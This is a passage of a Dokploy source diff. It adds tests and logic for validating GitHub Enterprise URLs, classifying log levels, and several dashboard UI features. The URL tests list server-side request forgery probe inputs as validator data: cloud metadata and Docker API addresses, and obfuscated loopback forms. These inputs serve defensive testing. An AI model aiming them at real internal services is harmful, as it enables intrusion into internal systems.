mockCreateGithub.mockResolvedValue(undefined); + }); + + it.each([ + ["http://acme.ghe.com", "plaintext http"], + ["http://localhost:2375", "internal service over http"], + ["https://metadata", "dotless hostname"], + ["htps://acme.ghe.com", "scheme typo"], + ])("rejects %s (%s) with 400 and no outbound request", async (githubUrl) => { + const res = await call(githubUrl); + + expect(res.statusCode).toBe(400); + expect(mockOctokitRequest).not.toHaveBeenCalled(); + expect(mockCreateGithub).not.toHaveBeenCalled(); + }); + + it("throws on a repeated parameter instead of silently picking one", async () => { + // ?githubUrl=a&githubUrl=b reaches .trim() on an array. + await expect( + call(["https://acme.ghe.com", "https://evil.com"]), + ).rejects.toThrow(); + + expect(mockCreateGithub).not.toHaveBeenCalled(); + }); + + it("accepts a data residency tenant", async () => { + await call("https://acme.ghe.com"); + + expect(mockCreateGithub).toHaveBeenCalledWith( + expect.objectContaining({ githubUrl: "https://acme.ghe.com" }), + ORG, + USER, + ); + }); + + it("accepts a self-hosted Enterprise Server host", async () => { + await call("https://github.corp.acme.com"); + + expect(mockCreateGithub).toHaveBeenCalledWith( + expect.objectContaining({ githubUrl: "https://github.corp.acme.com" }), + ORG, + USER, + ); + }); + + it("treats an absent parameter as github.com", async () => { + await call(undefined); + + expect(mockCreateGithub).toHaveBeenCalledWith( + expect.objectContaining({ githubUrl: "https://github.com" }), + ORG, + USER, + ); + }); +}); diff --git a/apps/dokploy/__test__/git-provider/github-url-parity.test.ts b/apps/dokploy/__test__/git-provider/github-url-parity.test.ts new file mode 100644 index 0000000000..7bd20e253e --- /dev/null +++ b/apps/dokploy/__test__/git-provider/github-url-parity.test.ts @@ -0,0 +1,75 @@ +import { parseGithubBaseUrl } from "@dokploy/server/utils/providers/github"; +import { describe, expect, it } from "vitest"; +import { DEFAULT_GITHUB_URL, resolveGithubBaseUrl } from "@/utils/github-utils"; + +/** + * The client cannot import from @dokploy/server (node-only modules), so + * resolveGithubBaseUrl duplicates parseGithubBaseUrl. Nothing but this file + * stops the two from drifting apart — and they already did once, when the + * client stripped trailing slashes but not paths and the form action disagreed + * with the persisted row. + * + * The invariant: for the same input, both must make the same accept/reject + * decision, and agree on the URL when they accept. + */ +const INPUTS = [ + // Accepted + "https://github.com", + "github.com", + "https://acme.ghe.com", + "acme.ghe.com", + "https://github.corp.acme.com", + "https://github.acme.com:8443", + "https://acme.ghe.com/", + "https://acme.ghe.com///", + "https://acme.ghe.com/enterprises/foo", + "https://acme.ghe.com/some/path?x=1", + " acme.ghe.com ", + "https://acme.ghe.com.", + "https://169.254.169.254", + "https://127.0.0.1", + "https://2130706433", + "https://0x7f.1", + "", + " ", + // Rejected + "http://acme.ghe.com", + "http://localhost:2375", + "https://[::1]", + "https://[::ffff:127.0.0.1]", + "https://metadata", + "https://metadata.", + "https://localhost", + "https://localhost.", + "htps://acme.ghe.com", + "ftp://acme.ghe.com", + "https://", + "acme .ghe.com", + "esto no es una url", +]; + +describe("client and server agree on GitHub base URLs", () => { + it.each(INPUTS)("%j", (input) => { + const client = resolveGithubBaseUrl(input); + const server = parseGithubBaseUrl(input); + + const clientAccepted = !client.error; + const serverAccepted = "url" in server; + + expect( + clientAccepted, + `accept/reject differs for ${JSON.stringify(input)}`, + ).toBe(serverAccepted); + + if (clientAccepted && "url" in server) { + expect(client.baseUrl, `resolved URL differs for ${input}`).toBe( + server.url, + ); + } + }); + + it("both treat an empty value as github.com", () => { + expect(resolveGithubBaseUrl("").baseUrl).toBe(DEFAULT_GITHUB_URL); + expect(parseGithubBaseUrl("")).toEqual({ url: DEFAULT_GITHUB_URL }); + }); +}); diff --git a/apps/dokploy/__test__/logs/log-classification.test.ts b/apps/dokploy/__test__/logs/log-classification.test.ts new file mode 100644 index 0000000000..edb6b9e51d --- /dev/null +++ b/apps/dokploy/__test__/logs/log-classification.test.ts @@ -0,0 +1,42 @@ +import { getLogType } from "@/components/dashboard/docker/logs/utils"; +import { expect, test } from "vitest"; + +test("classifies real failures as error", () => { + expect(getLogType("Error: connection refused at db:5432").type).toBe("error"); + expect(getLogType("[ERROR] something went wrong").type).toBe("error"); + expect(getLogType("Deployment failed").type).toBe("error"); + expect( + getLogType( + 'NOTICE [Job "sync-1m" (e1305c5b54b1)] Finished in "326ms", failed: true, skipped: false, error: exit code 1', + ).type, + ).toBe("error"); +}); + +test("does not classify explicit non-error key/values as error (#4538)", () => { + // ofelia job-completion summary for a successful run + expect( + getLogType( + 'NOTICE [Job "sync-1m" (e1305c5b54b1)] Finished in "326.16795ms", failed: false, skipped: false, error: none', + ).type, + ).not.toBe("error"); + + expect(getLogType("request done, error: null").type).not.toBe("error"); + expect(getLogType("checks passed, failures=0").type).not.toBe("error"); + expect(getLogType('shutdown clean, error=""').type).not.toBe("error"); + expect(getLogType('job done failed=false error=""').type).not.toBe("error"); +}); + +test("keeps errors whose value merely starts with a no-error word", () => { + expect(getLogType("connect failed: no route to host").type).toBe("error"); + expect(getLogType("connection failed: no such host").type).toBe("error"); + expect( + getLogType("error: none of the configured nodes are available").type, + ).toBe("error"); + expect(getLogType("error: nil pointer dereference").type).toBe("error"); + expect(getLogType("request failed: 0 bytes received").type).toBe("error"); +}); + +test("keeps statusCode-based classification", () => { + expect(getLogType('{"statusCode": "500"}').type).toBe("error"); + expect(getLogType('{"statusCode": "204"}').type).toBe("success"); +}); diff --git a/apps/dokploy/__test__/traefik/traefik.test.ts b/apps/dokploy/__test__/traefik/traefik.test.ts index 68758ca2d9..b7b0f56455 100644 --- a/apps/dokploy/__test__/traefik/traefik.test.ts +++ b/apps/dokploy/__test__/traefik/traefik.test.ts @@ -7,6 +7,8 @@ const baseApp: ApplicationNested = { rollbackActive: false, applicationId: "", previewLabels: [], + networkIds: [], + detachDokployNetwork: false, createEnvFile: true, bitbucketRepositorySlug: "", herokuVersion: "", diff --git a/apps/dokploy/__test__/utils/hostname-validation.test.ts b/apps/dokploy/__test__/utils/hostname-validation.test.ts index c0e7342820..4dac477dad 100644 --- a/apps/dokploy/__test__/utils/hostname-validation.test.ts +++ b/apps/dokploy/__test__/utils/hostname-validation.test.ts @@ -9,6 +9,9 @@ describe("VALID_HOSTNAME_REGEX", () => { "a.b.c.example.co", "xn--80ak6aa92e.com", "123.example.com", + "example", + "dokploy-server", + "localhost", ])("accepts valid hostname %s", (host) => { expect(VALID_HOSTNAME_REGEX.test(host)).toBe(true); }); @@ -17,7 +20,6 @@ describe("VALID_HOSTNAME_REGEX", () => { "bbn_client.example.com", "-example.com", "example-.com", - "example", "exa mple.com", "example..com", "", diff --git a/apps/dokploy/__test__/utils/log-type.test.ts b/apps/dokploy/__test__/utils/log-type.test.ts new file mode 100644 index 0000000000..b2edfd58c1 --- /dev/null +++ b/apps/dokploy/__test__/utils/log-type.test.ts @@ -0,0 +1,108 @@ +import { describe, expect, test } from "vitest"; +import { getLogType } from "@/components/dashboard/docker/logs/utils"; + +describe("getLogType", () => { + describe("explicit level declared by structured loggers", () => { + test("JSON string levels (pino, winston, zap)", () => { + expect(getLogType('{"level":"trace","msg":"x"}').type).toBe("debug"); + expect(getLogType('{"level":"debug","msg":"x"}').type).toBe("debug"); + expect(getLogType('{"level":"info","msg":"x"}').type).toBe("info"); + expect(getLogType('{"level":"warn","msg":"x"}').type).toBe("warning"); + expect(getLogType('{"level":"warning","msg":"x"}').type).toBe("warning"); + expect(getLogType('{"level":"error","msg":"x"}').type).toBe("error"); + expect(getLogType('{"level":"fatal","msg":"x"}').type).toBe("error"); + }); + + test("JSON numeric levels (pino, bunyan)", () => { + expect(getLogType('{"level":20,"msg":"x"}').type).toBe("debug"); + expect(getLogType('{"level":30,"msg":"x"}').type).toBe("info"); + expect(getLogType('{"level":40,"msg":"x"}').type).toBe("warning"); + expect(getLogType('{"level":50,"msg":"x"}').type).toBe("error"); + expect(getLogType('{"level":60,"msg":"x"}').type).toBe("error"); + }); + + test("syslog/GELF numeric levels", () => { + expect(getLogType('{"level":3,"msg":"x"}').type).toBe("error"); + expect(getLogType('{"level":4,"msg":"x"}').type).toBe("warning"); + expect(getLogType('{"level":6,"msg":"x"}').type).toBe("info"); + expect(getLogType('{"level":7,"msg":"x"}').type).toBe("debug"); + }); + + test("GCP-style severity and ECS log.level", () => { + expect(getLogType('{"severity":"ERROR","message":"x"}').type).toBe( + "error", + ); + expect(getLogType('{"severity":"WARNING","message":"x"}').type).toBe( + "warning", + ); + expect(getLogType('{"log.level":"error","message":"x"}').type).toBe( + "error", + ); + }); + + test("logfmt levels", () => { + expect( + getLogType('ts=2026-06-12T10:00:00Z level=error msg="boom"').type, + ).toBe("error"); + expect( + getLogType('ts=2026-06-12T10:00:00Z level=info msg="ok"').type, + ).toBe("info"); + expect(getLogType("level=warn msg=careful").type).toBe("warning"); + }); + + test("declared level wins over keywords in the message (#4589, #1996)", () => { + // "version"/"GET" in this pino line would otherwise match the debug keywords + const pinoError = + '{"level":"error","version":"72b4450","method":"GET","path":"/api/campaigns","err":{"type":"ForbiddenError","stack":"ForbiddenError: at requireRole (/app/src/plugins/campaign.plugin.ts:166:15)"},"msg":"Forbidden"}'; + expect(getLogType(pinoError).type).toBe("error"); + + // info line containing error-like keywords (#4589) + expect( + getLogType( + '{"level":"info","msg":"Failed to open mempool file. Continuing anyway."}', + ).type, + ).toBe("info"); + + // successful job summary with "failed: false, error: none" (#4538) + expect( + getLogType( + 'level=info msg="Finished job, failed: false, skipped: false, error: none"', + ).type, + ).toBe("info"); + }); + + test("declared level wins over statusCode", () => { + expect(getLogType('{"level":"info","statusCode":500}').type).toBe("info"); + }); + + test("unknown level names fall back to keyword detection", () => { + expect( + getLogType('{"level":"verbose","msg":"connection failed"}').type, + ).toBe("error"); + }); + + test("env-var-like text is not treated as logfmt level", () => { + expect(getLogType("LOG_LEVEL=error NODE_ENV=production").type).not.toBe( + "error", + ); + }); + }); + + describe("fallback detection for unstructured logs (unchanged)", () => { + test("statusCode classification", () => { + expect(getLogType('{"statusCode":500,"msg":"x"}').type).toBe("error"); + expect(getLogType('{"statusCode":404,"msg":"x"}').type).toBe("warning"); + expect(getLogType('{"statusCode":200,"msg":"x"}').type).toBe("success"); + }); + + test("keyword classification", () => { + expect(getLogType("error: something broke").type).toBe("error"); + expect(getLogType("warning: disk almost full").type).toBe("warning"); + expect(getLogType("Server listening on port 8080").type).toBe("success"); + }); + + test("defaults to info", () => { + expect(getLogType("hello world").type).toBe("info"); + }); + }); +}); diff --git a/apps/dokploy/components/dashboard/application/advanced/import/show-import.tsx b/apps/dokploy/components/dashboard/application/advanced/import/show-import.tsx index f06b173cf6..db39db2e80 100644 --- a/apps/dokploy/components/dashboard/application/advanced/import/show-import.tsx +++ b/apps/dokploy/components/dashboard/application/advanced/import/show-import.tsx @@ -185,7 +185,7 @@ export const ShowImport = ({ composeId }: Props) => { - + Template Information @@ -199,7 +199,7 @@ export const ShowImport = ({ composeId }: Props) => { -
+
@@ -207,12 +207,14 @@ export const ShowImport = ({ composeId }: Props) => { Docker Compose
- +
+ +
diff --git a/apps/dokploy/components/dashboard/application/build/show.tsx b/apps/dokploy/components/dashboard/application/build/show.tsx index 32aee23d37..ac2531f949 100644 --- a/apps/dokploy/components/dashboard/application/build/show.tsx +++ b/apps/dokploy/components/dashboard/application/build/show.tsx @@ -88,6 +88,7 @@ const mySchema = z.discriminatedUnion("buildType", [ z.object({ buildType: z.literal(BuildType.nixpacks), publishDirectory: z.string().optional(), + isStaticSpa: z.boolean().default(false), }), z.object({ buildType: z.literal(BuildType.railpack), @@ -138,6 +139,7 @@ const resetData = (data: ApplicationData): AddTemplate => { return { buildType: BuildType.nixpacks, publishDirectory: data.publishDirectory || undefined, + isStaticSpa: data.isStaticSpa ?? false, }; case BuildType.paketo_buildpacks: return { @@ -179,6 +181,7 @@ export const ShowBuildChooseForm = ({ applicationId }: Props) => { const buildType = form.watch("buildType"); const railpackVersion = form.watch("railpackVersion"); + const publishDirectory = form.watch("publishDirectory"); const [isManualRailpackVersion, setIsManualRailpackVersion] = useState(false); useEffect(() => { @@ -224,7 +227,10 @@ export const ShowBuildChooseForm = ({ applicationId }: Props) => { ? data.herokuVersion : null, isStaticSpa: - data.buildType === BuildType.static ? data.isStaticSpa : null, + data.buildType === BuildType.static || + data.buildType === BuildType.nixpacks + ? data.isStaticSpa + : null, railpackVersion: data.buildType === BuildType.railpack ? data.railpackVersion || "0.15.4" @@ -419,6 +425,30 @@ export const ShowBuildChooseForm = ({ applicationId }: Props) => { )} /> )} + {buildType === BuildType.nixpacks && publishDirectory && ( + ( + + +
+ + + Single Page Application (SPA) + +
+
+ +
+ )} + /> + )} {buildType === BuildType.static && ( ; @@ -71,18 +75,32 @@ export const ShowEnvironment = ({ id, type }: Props) => { const form = useForm({ defaultValues: { environment: "", + createEnvFile: true, }, resolver: zodResolver(addEnvironmentSchema), }); // Watch form value const currentEnvironment = form.watch("environment"); - const hasChanges = currentEnvironment !== (data?.env || ""); + const currentCreateEnvFile = form.watch("createEnvFile"); + const composeData = + type === "compose" + ? (data as { createEnvFile?: boolean; sourceType?: string } | undefined) + : undefined; + + const showCreateEnvFileToggle = + type === "compose" && + (composeData?.sourceType !== "raw" || composeData?.createEnvFile === false); + const hasChanges = + currentEnvironment !== (data?.env || "") || + (showCreateEnvFileToggle && + currentCreateEnvFile !== (composeData?.createEnvFile ?? true)); useEffect(() => { if (data) { form.reset({ environment: data.env || "", + createEnvFile: composeData?.createEnvFile ?? true, }); } }, [data, form]); @@ -97,6 +115,9 @@ export const ShowEnvironment = ({ id, type }: Props) => { postgresId: id || "", redisId: id || "", env: formData.environment, + ...(type === "compose" && { + createEnvFile: formData.createEnvFile, + }), }) .then(async () => { toast.success("Environments Added"); @@ -110,6 +131,7 @@ export const ShowEnvironment = ({ id, type }: Props) => { const handleCancel = () => { form.reset({ environment: data?.env || "", + createEnvFile: composeData?.createEnvFile ?? true, }); }; @@ -190,6 +212,34 @@ PORT=3000 )} /> + {showCreateEnvFileToggle && ( + ( + +
+ Create Environment File + + When enabled, an .env file will be created in the same + directory as your compose file on every deploy. + Disable this to keep a repository-provided .env; the + variables above will then be ignored. Takes effect on + the next deploy. + +
+ + + +
+ )} + /> + )} + {canWrite && (
{hasChanges && ( diff --git a/apps/dokploy/components/dashboard/application/general/generic/save-github-provider.tsx b/apps/dokploy/components/dashboard/application/general/generic/save-github-provider.tsx index c842655953..61b425c1ec 100644 --- a/apps/dokploy/components/dashboard/application/general/generic/save-github-provider.tsx +++ b/apps/dokploy/components/dashboard/application/general/generic/save-github-provider.tsx @@ -47,6 +47,7 @@ import { } from "@/components/ui/tooltip"; import { cn } from "@/lib/utils"; import { api } from "@/utils/api"; +import { DEFAULT_GITHUB_URL } from "@/utils/github-utils"; const GithubProviderSchema = z.object({ buildPath: z.string().min(1, "Path is required").default("/"), @@ -96,6 +97,11 @@ export const SaveGithubProvider = ({ applicationId }: Props) => { const repository = form.watch("repository"); const githubId = form.watch("githubId"); + + // Enterprise repositories do not live on github.com. + const providerUrl = + githubProviders?.find((provider) => provider.githubId === githubId) + ?.githubUrl ?? DEFAULT_GITHUB_URL; const triggerType = form.watch("triggerType"); const { data: repositories, isPending: isLoadingRepositories } = @@ -227,7 +233,7 @@ export const SaveGithubProvider = ({ applicationId }: Props) => { Repository {field.value.owner && field.value.repo && ( { }; export const ShowIconSettings = ({ - applicationId, + serviceId, + serviceType, icon, }: ShowIconSettingsProps) => { const [open, setOpen] = useState(false); @@ -48,6 +50,17 @@ export const ShowIconSettings = ({ const utils = api.useUtils(); const { mutateAsync: updateApplication } = api.application.update.useMutation(); + const { mutateAsync: updateCompose } = api.compose.update.useMutation(); + + const updateIcon = async (newIcon: string | null) => { + if (serviceType === "compose") { + await updateCompose({ composeId: serviceId, icon: newIcon }); + await utils.compose.one.invalidate({ composeId: serviceId }); + } else { + await updateApplication({ applicationId: serviceId, icon: newIcon }); + await utils.application.one.invalidate({ applicationId: serviceId }); + } + }; useEffect(() => { if (open) { @@ -59,12 +72,8 @@ export const ShowIconSettings = ({ const handleIconSelect = async (selectedIcon: BundledIcon) => { try { const dataUrl = svgToDataUrl(selectedIcon); - await updateApplication({ - applicationId, - icon: dataUrl, - }); + await updateIcon(dataUrl); toast.success("Icon saved successfully"); - await utils.application.one.invalidate({ applicationId }); setOpen(false); } catch (_error) { toast.error("Error saving icon"); @@ -73,12 +82,8 @@ export const ShowIconSettings = ({ const handleRemoveIcon = async () => { try { - await updateApplication({ - applicationId, - icon: null, - }); + await updateIcon(null); toast.success("Icon removed"); - await utils.application.one.invalidate({ applicationId }); } catch (_error) { toast.error("Error removing icon"); } @@ -130,12 +135,8 @@ export const ShowIconSettings = ({ return; } try { - await updateApplication({ - applicationId, - icon: sanitizedDataUrl, - }); + await updateIcon(sanitizedDataUrl); toast.success("Icon saved!"); - await utils.application.one.invalidate({ applicationId }); setOpen(false); } catch (_error) { toast.error("Error saving icon"); @@ -147,12 +148,8 @@ export const ShowIconSettings = ({ reader.onload = async (event) => { const result = event.target?.result as string; try { - await updateApplication({ - applicationId, - icon: result, - }); + await updateIcon(result); toast.success("Icon saved!"); - await utils.application.one.invalidate({ applicationId }); setOpen(false); } catch (_error) { toast.error("Error saving icon"); @@ -172,9 +169,11 @@ export const ShowIconSettings = ({ // biome-ignore lint/performance/noImgElement: icon is data URL or base64 Application icon + ) : serviceType === "compose" ? ( + ) : ( )} diff --git a/apps/dokploy/components/dashboard/compose/advanced/add-isolation.tsx b/apps/dokploy/components/dashboard/compose/advanced/add-isolation.tsx index 3525719090..730fe7a7bb 100644 --- a/apps/dokploy/components/dashboard/compose/advanced/add-isolation.tsx +++ b/apps/dokploy/components/dashboard/compose/advanced/add-isolation.tsx @@ -6,6 +6,7 @@ import { toast } from "sonner"; import { z } from "zod"; import { AlertBlock } from "@/components/shared/alert-block"; import { CodeEditor } from "@/components/shared/code-editor"; +import { Badge } from "@/components/ui/badge"; import { Button } from "@/components/ui/button"; import { Card, @@ -111,7 +112,10 @@ export const IsolatedDeploymentTab = ({ composeId }: Props) => { return ( - Enable Isolated Deployment + + Enable Isolated Deployment + Deprecated + Configure isolated deployment to the compose file.
@@ -138,6 +142,11 @@ export const IsolatedDeploymentTab = ({ composeId }: Props) => {
+ + Isolated deployment is deprecated. Use the Networks section above to + attach networks per service and detach them from dokploy-network — + it is declarative and does not break on restarts. + {isError && {error?.message}}
{ const repository = form.watch("repository"); const githubId = form.watch("githubId"); const triggerType = form.watch("triggerType"); + + // Enterprise repositories do not live on github.com. + const providerUrl = + githubProviders?.find((provider) => provider.githubId === githubId) + ?.githubUrl ?? DEFAULT_GITHUB_URL; const { data: repositories, isPending: isLoadingRepositories } = api.github.getGithubRepositories.useQuery( { @@ -220,7 +226,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => { Repository {field.value.owner && field.value.repo && ( { Preview Compose - + Converted Compose @@ -62,10 +62,6 @@ export const ShowConvertedCompose = ({ composeId }: Props) => { {isError && {error?.message}} - - Preview your docker-compose file with added domains. Note: At least - one domain must be specified for this conversion to take effect. - {isPending ? (
@@ -79,7 +75,7 @@ export const ShowConvertedCompose = ({ composeId }: Props) => {
) : ( <> -
+
-
+						
-
+
)}
diff --git a/apps/dokploy/components/dashboard/docker/logs/utils.ts b/apps/dokploy/components/dashboard/docker/logs/utils.ts index 01c68e49a1..f817d980e3 100644 --- a/apps/dokploy/components/dashboard/docker/logs/utils.ts +++ b/apps/dokploy/components/dashboard/docker/logs/utils.ts @@ -72,8 +72,68 @@ export function parseLogs(logString: string): LogLine[] { .filter((log) => log !== null); } +const LEVEL_NAME_TO_TYPE: Record = { + trace: "debug", + debug: "debug", + info: "info", + information: "info", + notice: "info", + warn: "warning", + warning: "warning", + error: "error", + err: "error", + fatal: "error", + critical: "error", + panic: "error", + alert: "error", + emergency: "error", +}; + +const numericLevelToType = (level: number): LogType => { + // pino/bunyan scale: 10=trace 20=debug 30=info 40=warn 50=error 60=fatal + if (level >= 50) return "error"; + if (level >= 40) return "warning"; + if (level >= 30) return "info"; + if (level >= 10) return "debug"; + // syslog/GELF scale: 0=emergency ... 7=debug + if (level <= 3) return "error"; + if (level === 4) return "warning"; + if (level <= 6) return "info"; + return "debug"; +}; + +// Extract the log level explicitly declared by structured loggers +// (pino, bunyan, winston, zap, slog, logfmt, GCP severity) +const getExplicitLevelType = (message: string): LogType | null => { + // JSON string levels: {"level":"error"} / {"severity":"ERROR"} / {"log.level":"warn"} + const jsonStringMatch = message.match( + /"(?:level|severity|log\.level|loglevel)"\s*:\s*"([a-z]+)"/i, + ); + if (jsonStringMatch?.[1]) { + return LEVEL_NAME_TO_TYPE[jsonStringMatch[1].toLowerCase()] ?? null; + } + + // JSON numeric levels: {"level":50} + const jsonNumericMatch = message.match(/"level"\s*:\s*(\d{1,2})\b/); + if (jsonNumericMatch?.[1]) { + return numericLevelToType(Number(jsonNumericMatch[1])); + } + + // logfmt: level=error + const logfmtMatch = message.match(/(?:^|\s)(?:level|severity)=([a-z]+)\b/i); + if (logfmtMatch?.[1]) { + return LEVEL_NAME_TO_TYPE[logfmtMatch[1].toLowerCase()] ?? null; + } + + return null; +}; + // Detect log type based on message content export const getLogType = (message: string): LogStyle => { + // A level explicitly declared by the logger wins over any inference + const explicitType = getExplicitLevelType(message); + if (explicitType) return LOG_STYLES[explicitType]; + // Detect HTTP statusCode const statusMatch = message.match(/"statusCode"\s*:\s*"?(\d{3})"?/); @@ -97,17 +157,27 @@ export const getLogType = (message: string): LogStyle => { return LOG_STYLES.info; } + // Key/value pairs that explicitly report a non-error (e.g. "error: none", + // "failed: false") must not trigger the error keyword patterns below + const nonErrorColonPairs = + /\b(?:error|err|errors|failed|failure|failures)\s*:\s*(?:none|null|nil|false|0|no|-|""|'')(?=[,;.)\]]|$)/gi; + const nonErrorLogfmtPairs = + /\b(?:error|err|errors|failed|failure|failures)\s*=\s*(?:none|null|nil|false|0|no|-|""|'')(?=[\s,;.)\]]|$)/gi; + const errorScope = lowerMessage + .replace(nonErrorColonPairs, "") + .replace(nonErrorLogfmtPairs, ""); + if ( - /(?:^|\s)(?:error|err):?\s/i.test(lowerMessage) || - /\b(?:exception|failed|failure)\b/i.test(lowerMessage) || - /(?:stack\s?trace):\s*$/i.test(lowerMessage) || - /^\s*at\s+[\w.]+\s*\(?.+:\d+:\d+\)?/.test(lowerMessage) || - /\b(?:uncaught|unhandled)\s+(?:exception|error)\b/i.test(lowerMessage) || - /Error:\s.*(?:in|at)\s+.*:\d+(?::\d+)?/.test(lowerMessage) || - /\b(?:errno|code):\s*(?:\d+|[A-Z_]+)\b/i.test(lowerMessage) || - /\[(?:error|err|fatal)\]/i.test(lowerMessage) || - /\b(?:crash|critical|fatal)\b/i.test(lowerMessage) || - /\b(?:fail(?:ed|ure)?|broken|dead)\b/i.test(lowerMessage) + /(?:^|\s)(?:error|err):?\s/i.test(errorScope) || + /\b(?:exception|failed|failure)\b/i.test(errorScope) || + /(?:stack\s?trace):\s*$/i.test(errorScope) || + /^\s*at\s+[\w.]+\s*\(?.+:\d+:\d+\)?/.test(errorScope) || + /\b(?:uncaught|unhandled)\s+(?:exception|error)\b/i.test(errorScope) || + /Error:\s.*(?:in|at)\s+.*:\d+(?::\d+)?/.test(errorScope) || + /\b(?:errno|code):\s*(?:\d+|[A-Z_]+)\b/i.test(errorScope) || + /\[(?:error|err|fatal)\]/i.test(errorScope) || + /\b(?:crash|critical|fatal)\b/i.test(errorScope) || + /\b(?:fail(?:ed|ure)?|broken|dead)\b/i.test(errorScope) ) { return LOG_STYLES.error; } diff --git a/apps/dokploy/components/dashboard/monitoring/free/container/docker-block-chart.tsx b/apps/dokploy/components/dashboard/monitoring/free/container/docker-block-chart.tsx index 91db498693..01989753ae 100644 --- a/apps/dokploy/components/dashboard/monitoring/free/container/docker-block-chart.tsx +++ b/apps/dokploy/components/dashboard/monitoring/free/container/docker-block-chart.tsx @@ -1,3 +1,4 @@ +import { formatMb, toMb } from "@dokploy/server/monitoring/units"; import { format } from "date-fns"; import { Area, AreaChart, CartesianGrid, YAxis } from "recharts"; import { @@ -29,8 +30,8 @@ export const DockerBlockChart = ({ accumulativeData }: Props) => { const transformedData = accumulativeData.map((item, index) => ({ time: item.time, name: `Point ${index + 1}`, - readMb: item.value.readMb, - writeMb: item.value.writeMb, + readMb: toMb(item.value.readMb), + writeMb: toMb(item.value.writeMb), })); return ( @@ -77,7 +78,7 @@ export const DockerBlockChart = ({ accumulativeData }: Props) => { }} formatter={(value, name) => { const label = name === "readMb" ? "Read" : "Write"; - return [`${value} MB`, label]; + return [formatMb(Number(value)), label]; }} /> } diff --git a/apps/dokploy/components/dashboard/monitoring/free/container/docker-network-chart.tsx b/apps/dokploy/components/dashboard/monitoring/free/container/docker-network-chart.tsx index 56e512d527..92f23e75b9 100644 --- a/apps/dokploy/components/dashboard/monitoring/free/container/docker-network-chart.tsx +++ b/apps/dokploy/components/dashboard/monitoring/free/container/docker-network-chart.tsx @@ -1,3 +1,4 @@ +import { formatMb, toMb } from "@dokploy/server/monitoring/units"; import { format } from "date-fns"; import { Area, AreaChart, CartesianGrid, YAxis } from "recharts"; import { @@ -29,8 +30,8 @@ export const DockerNetworkChart = ({ accumulativeData }: Props) => { const transformedData = accumulativeData.map((item, index) => ({ time: item.time, name: `Point ${index + 1}`, - inMB: item.value.inputMb, - outMB: item.value.outputMb, + inMB: toMb(item.value.inputMb), + outMB: toMb(item.value.outputMb), })); return ( @@ -73,7 +74,7 @@ export const DockerNetworkChart = ({ accumulativeData }: Props) => { }} formatter={(value, name) => { const label = name === "inMB" ? "In" : "Out"; - return [`${value} MB`, label]; + return [formatMb(Number(value)), label]; }} /> } diff --git a/apps/dokploy/components/dashboard/monitoring/free/container/show-free-container-monitoring.tsx b/apps/dokploy/components/dashboard/monitoring/free/container/show-free-container-monitoring.tsx index 782b191343..54b7bace4e 100644 --- a/apps/dokploy/components/dashboard/monitoring/free/container/show-free-container-monitoring.tsx +++ b/apps/dokploy/components/dashboard/monitoring/free/container/show-free-container-monitoring.tsx @@ -1,3 +1,4 @@ +import { formatMb } from "@dokploy/server/monitoring/units"; import { useEffect, useState } from "react"; import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card"; import { Progress } from "@/components/ui/progress"; @@ -305,7 +306,7 @@ export const ContainerFreeMonitoring = ({
- {`Read: ${currentData.block.value.readMb} / Write: ${currentData.block.value.writeMb} `} + {`Read: ${formatMb(currentData.block.value.readMb)} / Write: ${formatMb(currentData.block.value.writeMb)}`}
@@ -318,7 +319,7 @@ export const ContainerFreeMonitoring = ({
- {`In MB: ${currentData.network.value.inputMb} / Out MB: ${currentData.network.value.outputMb} `} + {`In: ${formatMb(currentData.network.value.inputMb)} / Out: ${formatMb(currentData.network.value.outputMb)}`}
diff --git a/apps/dokploy/components/dashboard/networks/assign-compose-networks.tsx b/apps/dokploy/components/dashboard/networks/assign-compose-networks.tsx new file mode 100644 index 0000000000..dfde4907c1 --- /dev/null +++ b/apps/dokploy/components/dashboard/networks/assign-compose-networks.tsx @@ -0,0 +1,347 @@ +import { zodResolver } from "@hookform/resolvers/zod"; +import { Check, ChevronsUpDown, Loader2, RefreshCw } from "lucide-react"; +import { useEffect, useState } from "react"; +import { useFieldArray, useForm } from "react-hook-form"; +import { toast } from "sonner"; +import { z } from "zod"; +import { AlertBlock } from "@/components/shared/alert-block"; +import { Badge } from "@/components/ui/badge"; +import { Button } from "@/components/ui/button"; +import { + Card, + CardContent, + CardDescription, + CardHeader, + CardTitle, +} from "@/components/ui/card"; +import { Checkbox } from "@/components/ui/checkbox"; +import { + Command, + CommandGroup, + CommandInput, + CommandItem, + CommandList, +} from "@/components/ui/command"; +import { Form, FormControl, FormField, FormItem } from "@/components/ui/form"; +import { + Popover, + PopoverContent, + PopoverTrigger, +} from "@/components/ui/popover"; +import { Switch } from "@/components/ui/switch"; +import { cn } from "@/lib/utils"; +import { api } from "@/utils/api"; + +interface Props { + composeId: string; +} + +const serviceSchema = z.object({ + serviceName: z.string(), + networkIds: z.array(z.string()), + detachDokployNetwork: z.boolean(), +}); + +const formSchema = z.object({ + services: z.array(serviceSchema), +}); + +type FormValues = z.infer; + +export const AssignComposeNetworks = ({ composeId }: Props) => { + const [cacheType, setCacheType] = useState<"cache" | "fetch">("cache"); + + const { data: compose } = api.compose.one.useQuery({ composeId }); + const { + data: services, + isLoading: isLoadingServices, + error: servicesError, + refetch: refetchServices, + isRefetching: isRefetchingServices, + } = api.compose.loadServices.useQuery( + { composeId, type: cacheType }, + { retry: false }, + ); + + const onRetry = () => { + setCacheType("fetch"); + setTimeout(() => refetchServices(), 0); + }; + + const { data: networks } = api.network.all.useQuery( + { serverId: compose?.serverId ?? undefined }, + { enabled: compose !== undefined }, + ); + const { mutateAsync, isPending } = api.compose.update.useMutation(); + const utils = api.useUtils(); + + const form = useForm({ + resolver: zodResolver(formSchema), + defaultValues: { services: [] }, + }); + const { fields } = useFieldArray({ + control: form.control, + name: "services", + }); + + useEffect(() => { + if (!services) return; + const serviceNetworks = compose?.serviceNetworks ?? []; + form.reset({ + services: services.map((serviceName) => { + const config = serviceNetworks.find( + (s) => s.serviceName === serviceName, + ); + return { + serviceName, + networkIds: config?.networkIds ?? [], + detachDokployNetwork: config?.detachDokployNetwork ?? false, + }; + }), + }); + }, [services, compose?.serviceNetworks, form]); + + const allowsBridge = compose?.composeType === "docker-compose"; + const availableNetworks = (networks ?? []).filter( + (n) => allowsBridge || n.driver === "overlay", + ); + + const onSubmit = async (values: FormValues) => { + try { + const serviceNetworks = values.services.filter( + (s) => s.networkIds.length > 0 || s.detachDokployNetwork, + ); + await mutateAsync({ + composeId, + serviceNetworks, + }); + toast.success("Networks updated. Redeploy the compose to apply them."); + await 